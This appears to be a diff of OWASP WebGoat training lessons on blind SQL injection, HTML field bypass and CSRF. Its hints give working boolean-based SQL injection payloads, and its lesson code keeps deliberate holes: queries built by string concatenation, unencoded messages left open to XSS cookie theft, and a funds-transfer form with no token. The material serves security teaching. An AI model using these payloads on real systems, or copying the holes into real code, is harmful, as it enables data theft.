if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ec.addElement(new P().addElement("Account number is valid")); ec.addElement(new P().addElement("Account number is valid"));
} else } else
{ {
ec.addElement(new P().addElement("Invalid account number")); ec.addElement(new P().addElement("Invalid account number"));
} }
} }
} }
catch (SQLException sqle) catch (SQLException sqle)
{ {
ec.addElement(new P().addElement("An error occurred, please try again.")); ec.addElement(new P().addElement("An error occurred, please try again."));
// comment out two lines below // comment out two lines below
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} }
catch (Exception e) catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
@ -148,7 +148,7 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
@ -158,7 +158,7 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO); return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO);
} }
/** /**
@ -171,14 +171,14 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
// private boolean runningOnWindows() // private boolean runningOnWindows()
// { // {
// String os = System.getProperty("os.name", "Windows"); // String os = System.getProperty("os.name", "Windows");
// if (os.toLowerCase().indexOf("window") != -1) // if (os.toLowerCase().indexOf("window") != -1)
// { // {
// return true; // return true;
// } else // } else
// { // {
// return false; // return false;
// } // }
// } // }
/** /**
@ -188,80 +188,80 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
// if (runningOnWindows()) // if (runningOnWindows())
// { // {
hints hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then " + "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing " + "select the first character of the target element and do a start narrowing "
+ "down the character using > and <" + "down the character using > and <"
+ "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions " + "<br><br>The backend database is HSQLDB. Keep that in mind if you research SQL functions "
+ "on the Internet since different databases use some different functions and syntax." + "on the Internet since different databases use some different functions and syntax."
+ "<br><br>You can find more about HSQLDB's SQL Syntax at " + "<br><br>You can find more about HSQLDB's SQL Syntax at "
+ "<a href='http://hsqldb.org/doc/guide/ch09.html'>http://hsqldb.org/doc/guide/ch09.html</a>. " + "<a href='http://hsqldb.org/doc/guide/ch09.html'>http://hsqldb.org/doc/guide/ch09.html</a>. "
+ "Pay attention to the section titled \"String built-in Functions / Stored Procedures\"."); + "Pay attention to the section titled \"String built-in Functions / Stored Procedures\".");
hints hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL contstructs: " + "You will need to make use of the following SQL contstructs: "
+ "<br><br>AND - combine the logic of the normal query with a boolean result" + "<br><br>AND - combine the logic of the normal query with a boolean result"
+ "<br><br>( and ) - group subexpressions so they evaluate properly" + "<br><br>( and ) - group subexpressions so they evaluate properly"
+ "<br><br>SELECT - make a subquery for your target data and get a string " + "<br><br>SELECT - make a subquery for your target data and get a string "
+ "<br><br>SUBSTRING(string, start, length) - returns a " + "<br><br>SUBSTRING(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters " + "substring of string starting at the start character and going for length characters "
+ "<br><br>&gt and = and &lt - once you have a character's value, compare it to a choosen one" + "<br><br>&gt and = and &lt - once you have a character's value, compare it to a choosen one"
+ "<br><br>You can find more about HSQLDB's SQL Syntax at " + "<br><br>You can find more about HSQLDB's SQL Syntax at "
+ "<a href='http://hsqldb.org/doc/guide/ch09.html'>http://hsqldb.org/doc/guide/ch09.html</a>"); + "<a href='http://hsqldb.org/doc/guide/ch09.html'>http://hsqldb.org/doc/guide/ch09.html</a>");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> " hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints hints
.add("Here is an example for another table:" .add("Here is an example for another table:"
+ "<br><br>In the table <i>user_data</i>, is the first character of the <i>first_name</i> for the record with a <i>cc_number</i> of " + "<br><br>In the table <i>user_data</i>, is the first character of the <i>first_name</i> for the record with a <i>cc_number</i> of "
+ "<i>333498703333</i>" + "<i>333498703333</i>"
+ " greater than 'M'? " + " greater than 'M'? "
+ "<br><br>101 AND (SUBSTRING((SELECT first_name FROM user_data WHERE cc_number='" + "<br><br>101 AND (SUBSTRING((SELECT first_name FROM user_data WHERE cc_number='"
+ "333498703333" + "333498703333"
+ "'), 1, 1) &gt 'M' ); " + "'), 1, 1) &gt 'M' ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
hints hints
.add("Partial Solution for First Character:" .add("Partial Solution for First Character:"
+ "<br><br>Is the first character of the <i>name</i> of the record with a <i>cc_number</i> of <i>" + "<br><br>Is the first character of the <i>name</i> of the record with a <i>cc_number</i> of <i>"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</i> less than 'M'? " + "</i> less than 'M'? "
+ "<br><br>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" + "<br><br>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "'), 1, 1) &lt 'M' ); " + "'), 1, 1) &lt 'M' ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
hints hints
.add("Another Part of Solution for First Character:" .add("Another Part of Solution for First Character:"
+ "<br><br>Is the first character of the <i>name</i> of the record with a <i>cc_number</i> of <i>" + "<br><br>Is the first character of the <i>name</i> of the record with a <i>cc_number</i> of <i>"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</i> less than 'H'? " + "</i> less than 'H'? "
+ "<br><br>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" + "<br><br>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "'), 1, 1) &lt 'H' ); " + "'), 1, 1) &lt 'H' ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
hints hints
.add("Partial Solution for Second Character:" .add("Partial Solution for Second Character:"
+ "<br><br>Is the second character of the <i>name</i> of the record with a <i>cc_number</i> of <i>" + "<br><br>Is the second character of the <i>name</i> of the record with a <i>cc_number</i> of <i>"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</i> greater than 'k'? " + "</i> greater than 'k'? "
+ "<br><br>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" + "<br><br>101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "'), 2, 1) &gt 'k' ); " + "'), 2, 1) &gt 'k' ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
return hints; return hints;
} }
/** /**
@ -271,24 +271,24 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "The form below allows a user to enter an account number and determine if " String instructions = "The form below allows a user to enter an account number and determine if "
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. " + "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 " + "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 "
+ "<br><br>The goal is to find the value of " + "<br><br>The goal is to find the value of "
+ "the field <b>name</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b>" + "the field <b>name</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b>"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</b>. The field is of type varchar, which is a string." + "</b>. The field is of type varchar, which is a string."
+ "<br><br>Put the discovered name in the form to pass the lesson. Only the discovered name " + "<br><br>Put the discovered name in the form to pass the lesson. Only the discovered name "
+ "should be put into the form field, paying close attention to the spelling and capitalization."; + "should be put into the form field, paying close attention to the spelling and capitalization.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(95); private final static Integer DEFAULT_RANKING = new Integer(95);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
@ -298,7 +298,7 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
public String getTitle() public String getTitle()
{ {
return ("Blind String SQL Injection"); return ("Blind String SQL Injection");
} }
/** /**
@ -309,14 +309,14 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} }
catch (Exception e) catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }
} }

View File

@ -58,125 +58,125 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter
{ {
public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0));
private final static String USERID = "userid"; private final static String USERID = "userid";
private String userid; private String userid;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try { try {
boolean failed = false; boolean failed = false;
// select element // select element
ec.addElement(new Div().addElement(new StringElement("Select field with two possible values:"))); ec.addElement(new Div().addElement(new StringElement("Select field with two possible values:")));
String[] allowedSelect = {"foo", "bar"}; String[] allowedSelect = {"foo", "bar"};
ec.addElement(new org.apache.ecs.html.Select("select", allowedSelect)); ec.addElement(new org.apache.ecs.html.Select("select", allowedSelect));
// radio button element // radio button element
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Radio button with two possible values:"))); ec.addElement(new Div().addElement(new StringElement("Radio button with two possible values:")));
Input radiofoo = new Input("radio", "radio", "foo"); Input radiofoo = new Input("radio", "radio", "foo");
radiofoo.setChecked(true); radiofoo.setChecked(true);
ec.addElement(radiofoo); ec.addElement(radiofoo);
ec.addElement(new StringElement("foo")); ec.addElement(new StringElement("foo"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new Input("radio", "radio", "bar")); ec.addElement(new Input("radio", "radio", "bar"));
ec.addElement(new StringElement("bar")); ec.addElement(new StringElement("bar"));
// checkbox // checkbox
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Checkbox:"))); ec.addElement(new Div().addElement(new StringElement("Checkbox:")));
Input checkbox = new Input("checkbox", "checkbox"); Input checkbox = new Input("checkbox", "checkbox");
checkbox.setChecked(true); checkbox.setChecked(true);
ec.addElement(checkbox); ec.addElement(checkbox);
ec.addElement(new StringElement("checkbox")); ec.addElement(new StringElement("checkbox"));
// create shortinput // create shortinput
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Input field restricted to 5 characters:"))); ec.addElement(new Div().addElement(new StringElement("Input field restricted to 5 characters:")));
Input shortinput = new Input(Input.TEXT, "shortinput", "12345"); Input shortinput = new Input(Input.TEXT, "shortinput", "12345");
shortinput.setMaxlength(5); shortinput.setMaxlength(5);
ec.addElement(shortinput); ec.addElement(shortinput);
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Disabled input field:"))); ec.addElement(new Div().addElement(new StringElement("Disabled input field:")));
String defaultdisabledinputtext = "disabled"; String defaultdisabledinputtext = "disabled";
Input disabledinput = new Input(Input.TEXT, "disabledinput", defaultdisabledinputtext); Input disabledinput = new Input(Input.TEXT, "disabledinput", defaultdisabledinputtext);
disabledinput.setDisabled(true); disabledinput.setDisabled(true);
ec.addElement(disabledinput); ec.addElement(disabledinput);
ec.addElement(new BR()); ec.addElement(new BR());
// Submit Button // Submit Button
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement("Submit button:"))); ec.addElement(new Div().addElement(new StringElement("Submit button:")));
String submittext = "Submit"; String submittext = "Submit";
Element b = ECSFactory.makeButton(submittext); Element b = ECSFactory.makeButton(submittext);
ec.addElement(b); ec.addElement(b);
// Now check inputs that were submitted (if any) // Now check inputs that were submitted (if any)
// check select field // check select field
String submittedselect = s.getParser().getRawParameter("select"); String submittedselect = s.getParser().getRawParameter("select");
if(submittedselect.equals("foo")) failed = true; if(submittedselect.equals("foo")) failed = true;
if(submittedselect.equals("bar")) failed = true; if(submittedselect.equals("bar")) failed = true;
// check radio buttons // check radio buttons
String submittedradio = s.getParser().getRawParameter("radio"); String submittedradio = s.getParser().getRawParameter("radio");
if(submittedselect.equals("foo")) failed = true; if(submittedselect.equals("foo")) failed = true;
if(submittedselect.equals("bar")) failed = true; if(submittedselect.equals("bar")) failed = true;
// check checkbox (note - if the box is not checked, this will throw an exception, but that // check checkbox (note - if the box is not checked, this will throw an exception, but that
// is okay) // is okay)
if(s.getParser().getRawParameter("checkbox").equals("on")) failed = true; if(s.getParser().getRawParameter("checkbox").equals("on")) failed = true;
// check shortinput // check shortinput
if(s.getParser().getRawParameter("shortinput").length() < 6) failed = true; if(s.getParser().getRawParameter("shortinput").length() < 6) failed = true;
// check disabledinput (note - if the field was not re-enabled, this will throw an exception, but that // check disabledinput (note - if the field was not re-enabled, this will throw an exception, but that
// is okay) // is okay)
if(s.getParser().getRawParameter("disabledinput").equals(defaultdisabledinputtext)) failed = true; if(s.getParser().getRawParameter("disabledinput").equals(defaultdisabledinputtext)) failed = true;
// check submitbutton // check submitbutton
if(s.getParser().getRawParameter("SUBMIT").equals(submittext)) failed = true; if(s.getParser().getRawParameter("SUBMIT").equals(submittext)) failed = true;
// if we didn't fail, we succeeded! // if we didn't fail, we succeeded!
if(failed != true) { if(failed != true) {
makeSuccess(s); makeSuccess(s);
} }
} catch(ParameterNotFoundException e) { } catch(ParameterNotFoundException e) {
//s.setMessage("Error, required parameter not found"); //s.setMessage("Error, required parameter not found");
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the object * Gets the category attribute of the object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.PARAMETER_TAMPERING; return Category.PARAMETER_TAMPERING;
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
@ -185,41 +185,41 @@ public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO); return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO);
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint1")); hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint1"));
hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint2")); hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint2"));
hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint3")); hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint3"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Bypass HTML Field Restrictions"); return ("Bypass HTML Field Restrictions");
} }
/** /**
* Gets the instructions attribute of the SqlInjection object * Gets the instructions attribute of the SqlInjection object
@ -228,29 +228,29 @@ public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "The form below uses HTML form field restrictions. " + String instructions = "The form below uses HTML form field restrictions. " +
" In order to pass this lesson, submit the form with each field containing an unallowed value. " " In order to pass this lesson, submit the form with each field containing an unallowed value. "
+ "<b>You must submit invalid values for all six fields in one form submission.</b>"; + "<b>You must submit invalid values for all six fields in one form submission.</b>";
return (instructions); return (instructions);
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
} }
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
} }

View File

@ -65,318 +65,318 @@ import org.owasp.webgoat.util.HtmlEncoder;
*/ */
public class CSRF extends LessonAdapter public class CSRF extends LessonAdapter
{ {
protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds";
protected static final String TRANSFER_FUNDS_PAGE = "main"; protected static final String TRANSFER_FUNDS_PAGE = "main";
private final static String MESSAGE = "message"; private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3; private final static int MESSAGE_COL = 3;
private final static String NUMBER = "Num"; private final static String NUMBER = "Num";
private final static int NUM_COL = 1; private final static int NUM_COL = 1;
private final static String STANDARD_QUERY = "SELECT * FROM messages"; private final static String STANDARD_QUERY = "SELECT * FROM messages";
private final static String TITLE = "title"; private final static String TITLE = "title";
private final static int TITLE_COL = 2; private final static int TITLE_COL = 2;
private static int count = 1; private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted
// message // message
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
/** /**
* Adds a feature to the Message attribute of the MessageBoardScreen object * Adds a feature to the Message attribute of the MessageBoardScreen object
* *
* @param s * @param s
* The feature to be added to the Message attribute * The feature to be added to the Message attribute
*/ */
protected void addMessage(WebSession s) protected void addMessage(WebSession s)
{ {
try try
{ {
String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, "")); String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, ""));
String message = s.getParser().getRawParameter(MESSAGE, ""); String message = s.getParser().getRawParameter(MESSAGE, "");
Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext());
String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )"; String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, count++); statement.setInt(1, count++);
statement.setString(2, title); statement.setString(2, title);
statement.setString(3, message); statement.setString(3, message);
statement.setString(4, s.getUserName()); statement.setString(4, s.getUserName());
statement.setString(5, this.getClass().getName()); statement.setString(5, this.getClass().getName());
statement.execute(); statement.execute();
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Could not add message to database"); s.setMessage("Could not add message to database");
} }
} }
@Override @Override
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (isTransferFunds(s)){ if (isTransferFunds(s)){
ec.addElement(doTransfer(s)); ec.addElement(doTransfer(s));
} else { } else {
addMessage(s); addMessage(s);
ec.addElement(makeInput(s)); ec.addElement(makeInput(s));
ec.addElement(new HR()); ec.addElement(new HR());
ec.addElement(makeCurrent(s)); ec.addElement(makeCurrent(s));
ec.addElement(new HR()); ec.addElement(new HR());
ec.addElement(makeList(s)); ec.addElement(makeList(s));
} }
return ec; return ec;
} }
/** /**
* if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the * if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the
* web content to display the electronic transfer of funds. An request * web content to display the electronic transfer of funds. An request
* should have a dollar amount specified. When this page is accessed it will mark the lesson complete * should have a dollar amount specified. When this page is accessed it will mark the lesson complete
* *
* @param s * @param s
* @return Element will appropriate web content for a transfer of funds. * @return Element will appropriate web content for a transfer of funds.
*/ */
protected Element doTransfer(WebSession s) { protected Element doTransfer(WebSession s) {
String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, ""));
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){
//transfer form //transfer form
ec.addElement(new H1("Electronic Transfer:")); ec.addElement(new H1("Electronic Transfer:"));
String action = getLink(); String action = getLink();
Form form = new Form(action, Form.POST); Form form = new Form(action, Form.POST);
form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0"));
//if this token is present we won't mark the lesson as completed //if this token is present we won't mark the lesson as completed
form.addElement( new Input(Input.submit)); form.addElement( new Input(Input.submit));
ec.addElement(form); ec.addElement(form);
//present transfer funds form //present transfer funds form
} else if (transferFunds.length() != 0){ } else if (transferFunds.length() != 0){
//transfer is confirmed //transfer is confirmed
ec.addElement(new H1("Electronic Transfer Complete")); ec.addElement(new H1("Electronic Transfer Complete"));
ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); ec.addElement(new StringElement("Amount Transfered: "+transferFunds));
makeSuccess(s); makeSuccess(s);
} }
return ec; return ec;
} }
/** /**
* @param s current web session * @param s current web session
* @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page.
*/ */
protected boolean isTransferFunds(WebSession s) { protected boolean isTransferFunds(WebSession s) {
return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER); return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeInput(WebSession s) protected Element makeInput(WebSession s)
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new StringElement("Title: "))); row1.addElement(new TD(new StringElement("Title: ")));
Input inputTitle = new Input(Input.TEXT, TITLE, ""); Input inputTitle = new Input(Input.TEXT, TITLE, "");
row1.addElement(new TD(inputTitle)); row1.addElement(new TD(inputTitle));
TD item1 = new TD(); TD item1 = new TD();
item1.setVAlign("TOP"); item1.setVAlign("TOP");
item1.addElement(new StringElement("Message: ")); item1.addElement(new StringElement("Message: "));
row2.addElement(item1); row2.addElement(item1);
TD item2 = new TD(); TD item2 = new TD();
TextArea ta = new TextArea(MESSAGE, 12, 60); TextArea ta = new TextArea(MESSAGE, 12, 60);
ta.addAttribute("wrap", "soft"); ta.addAttribute("wrap", "soft");
item2.addElement(ta); item2.addElement(ta);
row2.addElement(item2); row2.addElement(item2);
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(t); ec.addElement(t);
ec.addElement(new P().addElement(b)); ec.addElement(new P().addElement(b));
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
public Element makeList(WebSession s) public Element makeList(WebSession s)
{ {
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try try
{ {
Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext());
// edit by Chuck Willis - Added logic to associate similar usernames // edit by Chuck Willis - Added logic to associate similar usernames
// The idea is that users chuck-1, chuck-2, etc will see each other's messages // The idea is that users chuck-1, chuck-2, etc will see each other's messages
// but not anyone elses. This allows users to try out XSS to grab another user's // but not anyone elses. This allows users to try out XSS to grab another user's
// cookies, but not get confused by other users scripts // cookies, but not get confused by other users scripts
String query = "SELECT * FROM messages WHERE user_name LIKE ? and lesson_type = ?"; String query = "SELECT * FROM messages WHERE user_name LIKE ? and lesson_type = ?";
PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setString(2, getClass().getName()); statement.setString(2, getClass().getName());
ResultSet results = statement.executeQuery(); ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
results.beforeFirst(); results.beforeFirst();
for (int i = 0; results.next(); i++) for (int i = 0; results.next(); i++)
{ {
String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt(NUM_COL) String link = "<a href='" + getLink() + "&" + NUMBER + "=" + results.getInt(NUM_COL)
+ "' style='cursor:hand'>" + results.getString(TITLE_COL) + "</a>"; + "' style='cursor:hand'>" + results.getString(TITLE_COL) + "</a>";
TD td = new TD().addElement(link); TD td = new TD().addElement(link);
TR tr = new TR().addElement(td); TR tr = new TR().addElement(td);
t.addElement(tr); t.addElement(tr);
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error while getting message list."); s.setMessage("Error while getting message list.");
} }
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1("Message List")); ec.addElement(new H1("Message List"));
ec.addElement(t); ec.addElement(t);
String transferFunds = s.getParser().getRawParameter("transferFunds", ""); String transferFunds = s.getParser().getRawParameter("transferFunds", "");
if (transferFunds.length() != 0) if (transferFunds.length() != 0)
{ {
makeSuccess(s); makeSuccess(s);
} }
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element makeCurrent(WebSession s) protected Element makeCurrent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
int messageNum = s.getParser().getIntParameter(NUMBER, 0); int messageNum = s.getParser().getIntParameter(NUMBER, 0);
Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext());
